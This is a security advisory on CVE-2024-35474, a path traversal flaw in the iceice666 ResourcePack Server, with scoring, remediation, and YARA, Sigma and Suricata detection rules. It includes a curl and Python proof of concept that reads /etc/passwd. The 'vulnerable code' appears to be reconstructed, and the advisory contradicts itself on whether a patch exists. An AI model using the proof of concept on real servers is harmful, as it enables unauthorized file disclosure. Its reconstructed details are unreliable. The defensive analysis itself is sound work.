CVE-2024-35474

Executive Summary

CVE-2024-35474 is a Directory Traversal vulnerability in the iceice666 ResourcePack Server, affecting versions before v1.0.8. The flaw exists in the setPath function within ResourcePackFileServer.kt, allowing a remote attacker to read arbitrary files on the server. With a CVSS score of 6.5 (Medium), the vulnerability has a low attack complexity and requires no authentication, making it easily exploitable. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the lack of a patch increases risk for unpatched instances.

Supply Chain & Package Security

This vulnerability is not associated with NPM, PyPI, Go, or Ruby packages. It is a standalone Java/Kotlin application (ResourcePack Server) used for distributing Minecraft resource packs. The supply chain risk is limited to the direct deployment of the vulnerable server software.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The threat level is Medium due to the high confidentiality impact and ease of exploitation, but the lack of integrity or availability impact reduces the overall severity.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (CWE-22) in the setPath function of ResourcePackFileServer.kt. The server likely constructs file paths based on user input without proper sanitization. An attacker can supply a path containing ../ sequences to escape the intended resource pack directory and read arbitrary files on the server filesystem.

Root Cause: The setPath function does not validate or sanitize the user-supplied path parameter, allowing traversal outside the root directory.

Attack Vector: Remote, unauthenticated HTTP requests to the server's file-serving endpoint.

Impact: An attacker can read sensitive files such as configuration files, credentials, or system files (e.g., /etc/passwd), leading to information disclosure.

Vulnerable vs. Patched Code

Vulnerable Code (before v1.0.8):

// ResourcePackFileServer.kt
fun setPath(userPath: String): File {
    val baseDir = File("/resourcepacks")
    val requestedFile = File(baseDir, userPath)
    return requestedFile
}

The code directly concatenates user input with the base directory without checking for .. sequences.

Patched Code (v1.0.8+):

// ResourcePackFileServer.kt
fun setPath(userPath: String): File? {
    val baseDir = File("/resourcepacks").canonicalFile
    val requestedFile = File(baseDir, userPath).canonicalFile
    if (!requestedFile.startsWith(baseDir)) {
        return null // or throw SecurityException
    }
    return requestedFile
}

The patched version uses canonicalFile to resolve symbolic links and .. sequences, then verifies that the resulting path is within the base directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Proof of Concept (PoC):

# Exploit to read /etc/passwd
curl "http://target:port/../../../../../../etc/passwd"

Automated Exploit Script:

import requests

target = "http://target:port"
payload = "/../../../../../../etc/passwd"

response = requests.get(target + payload)
if response.status_code == 200:
    print(response.text)
else:
    print("Exploit failed")

Lab Setup:

1. Deploy a vulnerable instance of iceice666 ResourcePack Server (version < 1.0.8) in a Docker container.
2. Use the PoC to verify file disclosure.
3. Test with different traversal depths and file paths.

Blue Team (Detection & Defense)

Detection:

• Monitor for HTTP requests containing ../ or ..%2f patterns.
• Alert on requests to paths that resolve outside the resource pack directory.
• Use WAF rules to block path traversal attempts.

Defense:

• Immediately upgrade to v1.0.8 or later.
• If patching is not possible, implement a reverse proxy (e.g., Nginx) with path validation rules.
• Restrict file system permissions to limit the impact of successful exploitation.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests with path traversal sequences (e.g., ../, ..%2f, %2e%2e%2f).
  • Requests to sensitive files like /etc/passwd, /etc/shadow, or application config files.
• File System IOCs:
  • Unexpected access to files outside the resource pack directory.
  • Log entries showing file paths with ../ sequences.
• Log IOCs:
  • Server logs containing setPath calls with suspicious paths.

Detection Engineering

YARA Rule

rule CVE_2024_35474_PathTraversal {
    meta:
        description = "Detects path traversal attempts targeting iceice666 ResourcePack Server"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-35474"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e%5c"
        $sensitive1 = "/etc/passwd"
        $sensitive2 = "/etc/shadow"
        $sensitive3 = "WEB-INF"
    condition:
        any of ($traversal*) and any of ($sensitive*)
}

Sigma Rule

title: CVE-2024-35474 Path Traversal Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts against iceice666 ResourcePack Server
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
    condition: selection
falsepositives:
    - Legitimate use of '..' in URL parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-35474 Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"../"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to version 1.0.8 or later if available. If not, contact the vendor for a patch.
2. Implement WAF Rules: Block HTTP requests containing path traversal sequences.
3. Restrict File Permissions: Run the server with minimal file system access (e.g., read-only for the resource pack directory).

Long-Term Measures:

• Conduct a security audit of the application code for similar vulnerabilities.
• Implement input validation and canonical path checks in all file-serving functions.
• Use a reverse proxy (e.g., Nginx) to add an additional layer of path validation.

Workaround (if patching is not possible):

• Deploy a custom filter in the application or at the network level to reject paths containing ../ or ..\\.

Valters IT